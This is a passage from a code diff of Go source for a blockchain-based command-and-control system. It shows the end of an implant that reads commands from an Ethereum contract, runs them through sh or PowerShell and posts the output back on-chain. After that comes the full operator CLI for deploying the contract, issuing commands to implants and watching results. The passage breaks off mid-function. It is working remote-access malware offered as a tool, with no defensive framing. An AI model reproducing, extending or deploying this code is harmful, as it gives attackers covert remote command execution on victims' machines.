if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
var cmdStr string
|
||||||
|
if err := parsedABI.UnpackIntoInterface(&cmdStr, "getCommand", resp); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return cmdStr, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func submitResult(
|
||||||
|
client *ethclient.Client,
|
||||||
|
parsedABI abi.ABI,
|
||||||
|
contractAddr common.Address,
|
||||||
|
auth *bind.TransactOpts,
|
||||||
|
implantID, cmdID [32]byte,
|
||||||
|
result string,
|
||||||
|
) (*types.Transaction, error) {
|
||||||
|
data, err := parsedABI.Pack("submitResult", implantID, cmdID, result)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("pack: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
gasPrice, err := client.SuggestGasPrice(nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("gasPrice: %w", err)
|
||||||
|
}
|
||||||
|
// Buffer
|
||||||
|
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
|
||||||
|
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
|
||||||
|
|
||||||
|
nonce, err := client.PendingNonceAt(nil, auth.From)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("nonce: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx := types.NewTransaction(nonce, contractAddr, big.NewInt(0), 200000, gasPrice, data)
|
||||||
|
signedTx, err := auth.Signer(auth.From, tx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("sign: %w", err)
|
||||||
|
}
|
||||||
|
if err := client.SendTransaction(nil, signedTx); err != nil {
|
||||||
|
return nil, fmt.Errorf("send: %w", err)
|
||||||
|
}
|
||||||
|
return signedTx, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Command Execution
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func executeCommand(cmdStr string) (string, error) {
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
|
// Use shell for flexibility
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
cmd = exec.Command("powershell.exe", "-NoProfile", "-Command", cmdStr)
|
||||||
|
default:
|
||||||
|
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
var stdout, stderr bytes.Buffer
|
||||||
|
cmd.Stdout = &stdout
|
||||||
|
cmd.Stderr = &stderr
|
||||||
|
|
||||||
|
// Timeout
|
||||||
|
timer := time.AfterFunc(defaultExecTimeout*time.Second, func() {
|
||||||
|
if cmd.Process != nil {
|
||||||
|
cmd.Process.Kill()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
defer timer.Stop()
|
||||||
|
|
||||||
|
err := cmd.Run()
|
||||||
|
output := stdout.String()
|
||||||
|
if stderr.Len() > 0 {
|
||||||
|
if output != "" {
|
||||||
|
output += "\n--- STDERR ---\n"
|
||||||
|
}
|
||||||
|
output += stderr.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
return output, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Utility
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func getMAC() string {
|
||||||
|
// Best-effort MAC address for implant identity
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if len(iface.HardwareAddr) > 0 && iface.Flags&net.FlagLoopback == 0 && iface.Flags&net.FlagUp != 0 {
|
||||||
|
return iface.HardwareAddr.String()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
func randInt64n(n int64) int64 {
|
||||||
|
// Simple LCG — fine for jitter, not for crypto
|
||||||
|
if n <= 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
seed := time.Now().UnixNano()
|
||||||
|
return (seed % n + n) % n
|
||||||
|
}
|
||||||
@@ -0,0 +1,580 @@
|
|||||||
|
// Command server is the operator-side tool for deploying the contract and
|
||||||
|
// issuing commands to implants via the blockchain.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"math/big"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/ethereum/go-ethereum"
|
||||||
|
"github.com/ethereum/go-ethereum/accounts/abi"
|
||||||
|
"github.com/ethereum/go-ethereum/accounts/abi/bind"
|
||||||
|
"github.com/ethereum/go-ethereum/common"
|
||||||
|
"github.com/ethereum/go-ethereum/core/types"
|
||||||
|
"github.com/ethereum/go-ethereum/crypto"
|
||||||
|
"github.com/ethereum/go-ethereum/ethclient"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ------------------
|
||||||
|
// Embedded ABI — replace with `forge inspect C2Controller abi` output
|
||||||
|
// ------------------
|
||||||
|
|
||||||
|
const contractABIJSON = `[
|
||||||
|
{"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}
|
||||||
|
]`
|
||||||
|
|
||||||
|
// Placeholder — replace with actual deployed bytecode hex from compile
|
||||||
|
// Run: solc --bin C2Controller.sol or forge build && cat out/C2Controller.sol/C2Controller.json | jq -r '.bytecode.object'
|
||||||
|
const contractBytecode = "0x608060..." // REPLACE ME
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// CLI
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
if len(os.Args) < 2 {
|
||||||
|
printUsage()
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
switch os.Args[1] {
|
||||||
|
case "deploy":
|
||||||
|
cmdDeploy(os.Args[2:])
|
||||||
|
case "exec":
|
||||||
|
cmdExec(os.Args[2:])
|
||||||
|
case "results":
|
||||||
|
cmdResults(os.Args[2:])
|
||||||
|
case "add-op":
|
||||||
|
cmdAddOp(os.Args[2:])
|
||||||
|
case "watch":
|
||||||
|
cmdWatch(os.Args[2:])
|
||||||
|
default:
|
||||||
|
fmt.Fprintf(os.Stderr, "Unknown command: %s\n\n", os.Args[1])
|
||||||
|
printUsage()
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func printUsage() {
|
||||||
|
fmt.Println(`Usage:
|
||||||
|
server deploy <rpc-url> <private-key-hex> [initial-operator-address]
|
||||||
|
server exec <rpc-url> <private-key-hex> <contract-addr> <implant-id-hex> <command>
|
||||||
|
server results <rpc-url> <contract-addr> [--limit N]
|
||||||
|
server add-op <rpc-url> <private-key-hex> <contract-addr> <operator-address>
|
||||||
|
server watch <rpc-url> <contract-addr> [--implant <implant-id-hex>]
|
||||||
|
|
||||||
|
Flags:
|
||||||
|
--limit <N> Limit results shown (default 20)
|
||||||
|
--implant <hex> Filter events by implant ID
|
||||||
|
|
||||||
|
Environment:
|
||||||
|
PRIVATE_KEY Hex private key (alternative to CLI arg)
|
||||||
|
ETH_RPC_URL RPC URL (alternative to CLI arg)
|
||||||
|
CONTRACT_ADDR Contract address (alternative to CLI arg)
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xabc123...
|
||||||
|
server exec https://sepolia.infura.io/v3/YOUR_KEY 0xabc123... 0xDeAd... 0011 "whoami"
|
||||||
|
server results https://sepolia.infura.io/v3/YOUR_KEY 0xDeAd...
|
||||||
|
server watch https://sepolia.infura.io/v3/YOUR_KEY 0xDeAd...`)
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCommonFlags(args []string) ([]string, *uint64) {
|
||||||
|
var limit *uint64
|
||||||
|
var filtered []string
|
||||||
|
for i := 0; i < len(args); i++ {
|
||||||
|
if args[i] == "--limit" && i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
v := uint64(0)
|
||||||
|
if _, err := fmt.Sscanf(args[i], "%d", &v); err == nil {
|
||||||
|
limit = &v
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
filtered = append(filtered, args[i])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filtered, limit
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// connect / wallet helpers
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func rpcAndWallet(rpcURL, pkHex string) (*ethclient.Client, *bind.TransactOpts, error) {
|
||||||
|
client, err := ethclient.Dial(rpcURL)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, fmt.Errorf("dial: %w", err)
|
||||||
|
}
|
||||||
|
privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x"))
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, fmt.Errorf("private key: %w", err)
|
||||||
|
}
|
||||||
|
chainID, err := client.NetworkID(nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, fmt.Errorf("chain ID: %w", err)
|
||||||
|
}
|
||||||
|
auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, fmt.Errorf("transactor: %w", err)
|
||||||
|
}
|
||||||
|
return client, auth, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getEnvOrDefault(envKey, def string) string {
|
||||||
|
if v := os.Getenv(envKey); v != "" {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
|
||||||
|
func bytes32FromHex(s string) ([32]byte, error) {
|
||||||
|
var out [32]byte
|
||||||
|
b, err := hex.DecodeString(strings.TrimPrefix(s, "0x"))
|
||||||
|
if err != nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
if len(b) != 32 {
|
||||||
|
return out, fmt.Errorf("expected 32 bytes, got %d", len(b))
|
||||||
|
}
|
||||||
|
copy(out[:], b)
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// ABI helpers
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func mustParseABI() abi.ABI {
|
||||||
|
a, err := abi.JSON(strings.NewReader(contractABIJSON))
|
||||||
|
if err != nil {
|
||||||
|
panic(fmt.Sprintf("ABI parse error: %v", err))
|
||||||
|
}
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
|
||||||
|
func contractCall(client *ethclient.Client, to common.Address, data []byte) ([]byte, error) {
|
||||||
|
return client.CallContract(nil, ethereum.CallMsg{To: &to, Data: data}, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendTx(client *ethclient.Client, auth *bind.TransactOpts, to common.Address, data []byte, gas uint64) (*types.Transaction, error) {
|
||||||
|
gasPrice, err := client.SuggestGasPrice(nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("suggestGasPrice: %w", err)
|
||||||
|
}
|
||||||
|
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
|
||||||
|
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
|
||||||
|
|
||||||
|
nonce, err := client.PendingNonceAt(nil, auth.From)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("nonce: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx := types.NewTransaction(nonce, to, big.NewInt(0), gas, gasPrice, data)
|
||||||
|
signedTx, err := auth.Signer(auth.From, tx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("sign: %w", err)
|
||||||
|
}
|
||||||
|
if err := client.SendTransaction(nil, signedTx); err != nil {
|
||||||
|
return nil, fmt.Errorf("send: %w", err)
|
||||||
|
}
|
||||||
|
return signedTx, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Subcommand: deploy
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func cmdDeploy(args []string) {
|
||||||
|
if len(args) < 2 {
|
||||||
|
fmt.Fprintln(os.Stderr, "Usage: server deploy <rpc-url> <private-key-hex> [initial-operator-address]")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
rpcURL := args[0]
|
||||||
|
pkHex := args[1]
|
||||||
|
initOp := common.Address{}
|
||||||
|
if len(args) > 2 {
|
||||||
|
initOp = common.HexToAddress(args[2])
|
||||||
|
}
|
||||||
|
|
||||||
|
client, auth, err := rpcAndWallet(rpcURL, pkHex)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI := mustParseABI()
|
||||||
|
|
||||||
|
ctorArgs, err := parsedABI.Pack("", initOp)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Constructor arg encode error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
data := append(common.FromHex(contractBytecode), ctorArgs...)
|
||||||
|
|
||||||
|
gasPrice, err := client.SuggestGasPrice(nil)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "SuggestGasPrice: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
|
||||||
|
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
|
||||||
|
|
||||||
|
nonce, err := client.PendingNonceAt(nil, auth.From)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Nonce: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx := types.NewContractCreation(nonce, big.NewInt(0), 3000000, gasPrice, data)
|
||||||
|
signedTx, err := auth.Signer(auth.From, tx)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Sign error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
if err := client.SendTransaction(nil, signedTx); err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Send error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Deploy tx sent: %s\n", signedTx.Hash().Hex())
|
||||||
|
fmt.Println("Waiting for receipt...")
|
||||||
|
|
||||||
|
receipt, err := bind.WaitMined(nil, client, signedTx)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Wait error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
if receipt.Status == 0 {
|
||||||
|
fmt.Fprintln(os.Stderr, "Deploy failed (reverted). Check your contract or gas.")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Contract deployed at: %s\n", receipt.ContractAddress.Hex())
|
||||||
|
fmt.Printf("Tx hash: %s\n", receipt.TxHash.Hex())
|
||||||
|
fmt.Printf("Block: %d\n", receipt.BlockNumber)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Subcommand: exec (issue a command)
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func cmdExec(args []string) {
|
||||||
|
if len(args) < 5 {
|
||||||
|
fmt.Fprintln(os.Stderr, "Usage: server exec <rpc-url> <private-key-hex> <contract-addr> <implant-id-hex> <command>")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
rpcURL := args[0]
|
||||||
|
pkHex := args[1]
|
||||||
|
contractAddr := common.HexToAddress(args[2])
|
||||||
|
implantHex := args[3]
|
||||||
|
commandStr := args[4]
|
||||||
|
|
||||||
|
implantID, err := bytes32FromHex(implantHex)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Bad implant ID: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
client, auth, err := rpcAndWallet(rpcURL, pkHex)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI := mustParseABI()
|
||||||
|
data, err := parsedABI.Pack("issueCommand", implantID, commandStr)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Pack error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := sendTx(client, auth, contractAddr, data, 200000)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Command issued. Tx: %s\n", tx.Hash().Hex())
|
||||||
|
fmt.Printf("Implant ID: 0x%x\n", implantID)
|
||||||
|
|
||||||
|
// Compute command ID (matching contract's keccak256(implantId, command, block.timestamp))
|
||||||
|
// Since block.timestamp is unknown client-side, the operator should note the tx hash
|
||||||
|
// and use `server results` to see the result appear.
|
||||||
|
fmt.Println("Use `server results <rpc> <contract>` to see results.")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Subcommand: results
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func cmdResults(args []string) {
|
||||||
|
args, limit := parseCommonFlags(args)
|
||||||
|
|
||||||
|
if len(args) < 2 {
|
||||||
|
fmt.Fprintln(os.Stderr, "Usage: server results <rpc-url> <contract-addr> [--limit N]")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
rpcURL := args[0]
|
||||||
|
contractAddr := common.HexToAddress(args[1])
|
||||||
|
|
||||||
|
client, err := ethclient.Dial(rpcURL)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Dial: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI := mustParseABI()
|
||||||
|
|
||||||
|
// resultCount()
|
||||||
|
data, _ := parsedABI.Pack("resultCount")
|
||||||
|
resp, err := contractCall(client, contractAddr, data)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "resultCount: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
count := new(big.Int).SetBytes(resp).Uint64()
|
||||||
|
|
||||||
|
maxResults := count
|
||||||
|
if limit != nil && *limit < maxResults {
|
||||||
|
maxResults = *limit
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Total results: %d\n\n", count)
|
||||||
|
|
||||||
|
for i := count; i > count-maxResults && i > 0; i-- {
|
||||||
|
idx := i - 1
|
||||||
|
|
||||||
|
ridData, _ := parsedABI.Pack("resultIdAtIndex", new(big.Int).SetUint64(idx))
|
||||||
|
ridResp, err := contractCall(client, contractAddr, ridData)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var resultID [32]byte
|
||||||
|
copy(resultID[:], ridResp)
|
||||||
|
|
||||||
|
rData, _ := parsedABI.Pack("getResult", resultID)
|
||||||
|
rResp, err := contractCall(client, contractAddr, rData)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
type Result struct {
|
||||||
|
Data string `json:"data"`
|
||||||
|
Timestamp *big.Int `json:"timestamp"`
|
||||||
|
CommandID [32]byte `json:"commandId"`
|
||||||
|
}
|
||||||
|
var res Result
|
||||||
|
if err := parsedABI.UnpackIntoInterface(&res, "getResult", rResp); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
t := time.Unix(res.Timestamp.Int64(), 0)
|
||||||
|
|
||||||
|
fmt.Printf("[%d] Result ID: 0x%x\n", idx, resultID)
|
||||||
|
fmt.Printf(" Command: 0x%x\n", res.CommandID)
|
||||||
|
fmt.Printf(" Time: %s\n", t.Format(time.RFC3339))
|
||||||
|
fmt.Printf(" Output: %s\n", truncate(res.Data, 200))
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncate(s string, n int) string {
|
||||||
|
if len(s) <= n {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return s[:n] + "..."
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Subcommand: add-op
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func cmdAddOp(args []string) {
|
||||||
|
if len(args) < 4 {
|
||||||
|
fmt.Fprintln(os.Stderr, "Usage: server add-op <rpc-url> <private-key-hex> <contract-addr> <operator-address>")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
rpcURL := args[0]
|
||||||
|
pkHex := args[1]
|
||||||
|
contractAddr := common.HexToAddress(args[2])
|
||||||
|
opAddr := common.HexToAddress(args[3])
|
||||||
|
|
||||||
|
client, auth, err := rpcAndWallet(rpcURL, pkHex)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI := mustParseABI()
|
||||||
|
data, err := parsedABI.Pack("setOperator", opAddr, true)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Pack error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := sendTx(client, auth, contractAddr, data, 100000)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Operator %s added. Tx: %s\n", opAddr.Hex(), tx.Hash().Hex())
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Subcommand: watch
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func cmdWatch(args []string) {
|
||||||
|
args, _ = parseCommonFlags(args)
|
||||||
|
|
||||||
|
rpcURL := ""
|
||||||
|
contractAddr := common.Address{}
|
||||||
|
var filterImplant *[32]byte
|
||||||
|
|
||||||
|
if len(args) >= 2 {
|
||||||
|
rpcURL = args[0]
|
||||||
|
contractAddr = common.HexToAddress(args[1])
|
||||||
|
}
|
||||||
|
for i := 0; i < len(args); i++ {
|
||||||
|
if args[i] == "--implant" && i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
hid, err := bytes32FromHex(args[i])
|
||||||
|
if err == nil {
|
||||||
|
filterImplant = &hid
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if rpcURL == "" {
|
||||||
|
rpcURL = getEnvOrDefault("ETH_RPC_URL", "")
|
||||||
|
}
|
||||||
|
if rpcURL == "" {
|
||||||
|
fmt.Fprintln(os.Stderr, "RPC URL required (arg or ETH_RPC_URL)")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
if contractAddr == (common.Address{}) {
|
||||||
|
c := getEnvOrDefault("CONTRACT_ADDR", "")
|
||||||
|
if c == "" {
|
||||||
|
fmt.Fprintln(os.Stderr, "Contract address required (arg or CONTRACT_ADDR)")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
contractAddr = common.HexToAddress(c)
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := ethclient.Dial(rpcURL)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "Dial: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI := mustParseABI()
|
||||||
|
|
||||||
|
cmdIssuedSig := crypto.Keccak256Hash([]byte("CommandIssued(bytes32,bytes32,string,uint256)"))
|
||||||
|
resultSubSig := crypto.Keccak256Hash([]byte("ResultSubmitted(bytes32,bytes32,bytes32,string,uint256)"))
|
||||||
|
|
||||||
|
fmt.Printf("Watching contract %s on %s...\n", contractAddr.Hex(), rpcURL)
|
||||||
|
fmt.Println("Press Ctrl+C to stop.\n")
|
||||||
|
|
||||||
|
var lastBlock uint64
|
||||||
|
for {
|
||||||
|
header, err := client.HeaderByNumber(context.Background(), nil)
|
||||||
|
if err != nil {
|
||||||
|
time.Sleep(5 * time.Second)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
currentBlock := header.Number.Uint64()
|
||||||
|
if currentBlock <= lastBlock {
|
||||||
|
time.Sleep(3 * time.Second)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fromBlock := lastBlock
|
||||||
|
if fromBlock == 0 {
|
||||||
|
fromBlock = currentBlock
|
||||||
|
}
|
||||||
|
lastBlock = currentBlock
|
||||||
|
|
||||||
|
logs, err := client.FilterLogs(nil, ethereum.FilterQuery{
|
||||||
|
FromBlock: new(big.Int).SetUint64(fromBlock),
|
||||||
|
